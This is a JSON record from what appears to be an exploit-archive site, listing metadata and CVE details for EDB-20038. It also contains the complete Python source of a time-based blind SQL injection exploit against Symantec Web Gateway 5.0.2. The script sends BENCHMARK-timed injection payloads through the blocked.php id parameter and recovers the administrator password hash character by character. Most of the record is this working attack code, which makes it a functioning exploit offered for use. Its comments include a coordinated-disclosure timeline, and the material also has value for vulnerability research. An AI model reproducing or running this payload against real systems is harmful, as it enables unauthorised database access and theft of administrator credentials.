{"exploit":{"id":"EDB-20038","name":"Symantec Web Gateway 5.0.2 - 'blocked.php?id' Blind SQL Injection (SQLi)","description":"Symantec Web Gateway 5.0.2 - 'blocked.php?id' Blind SQL Injection (SQLi)","cves":["CVE-2012-2574"],"author":"muts","published":"2012-07-23","platform":"linux","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20038","path":"exploits/linux/webapps/20038.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20038.py","vulnerabilities":[{"id":"CVE-2012-2574","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via unspecified vectors, related to a \"blind SQL injection\" issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-2574","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-2574"},"updatedAt":"2024-08-06T19:34:25.825Z","retrievedAt":"2026-11-27T07:20:11.604Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20038.png?v=2","url":"https://exploitbin.com/exploits/EDB-20038","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20038/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20038/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n\n######################################################################################\n# Exploit Title: Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection\n# Date: Jul 23 2012\n# Author: muts\n# Version: Symantec Web Gateway 5.0.2\n# Vendor URL: http://www.symantec.com\n#\n# Timeline:\n#\n# 29 May 2012: Vulnerability reported to CERT\n# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012\n# 26 Jun 2012: Email received from Symantec for additional information\n# 26 Jun 2012: Additional proofs of concept sent to Symantec\n# 06 Jul 2012: Update received from Symantec with intent to fix\n# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00\n# 23 Jul 2012: Public Disclosure\n#\n######################################################################################\n\nimport urllib\nimport time\nimport sys\nfrom time import sleep\n\n# Set your timing variable. A minimum value of 200 (2 seconds) was tested on localhost.\n# This might need to be higher on production systems.\n\ntiming=300\n\ndef check_char(i,j,timing):\n\n\turl = \t(\"https://172.16.254.111/spywall/blocked.php?d=3&file=3&id=1)\" +\n\t\t\" or 1=(select IF(conv(mid((select password from users),%s,1),16,10) \"+\n\t\t\"= %s,BENCHMARK(%s,rand()),11) LIMIT 1&history=-2&u=3\") % (j,i,timing)\n\tstart=time.time()\n\turllib.urlopen(url)\n\tend =time.time()\n\thowlong=int(end-start)\n\treturn howlong\n\ncounter=0\nstartexploit=time.time()\nprint \"[*] Symantec \\\"Wall of Spies\\\" hash extractor\"\nprint \"[*] Time Based SQL injection, please wait...\"\nsys.stdout.write(\"[*] Admin hash is : \")\nsys.stdout.flush()\n\nfor m in range(1,33):\n\tfor n in range(0,16):\n\t\tcounter= counter+1\n\t\toutput = check_char(n,m,timing)\n\t\tif output > ((timing/100)-1):\n\t\t\tbyte =hex(n)[2:]\n\t\t\tsys.stdout.write(byte)\n\t\t\tsys.stdout.flush()\n\t\t\tbreak\nendexploit=time.time()\ntotalrun=str(endexploit-startexploit)\nprint \"\\n[*] Total of %s queries in %s seconds\" % (counter,totalrun)","sha256":"661874d88a61b803dc5bff9b6db0a1b216a2eab52dafffa33305e1df48468555","bytes":2058,"fetchedAt":"2026-11-27T07:08:27.243Z","encoding":"utf-8 (display only; download retains original bytes)"}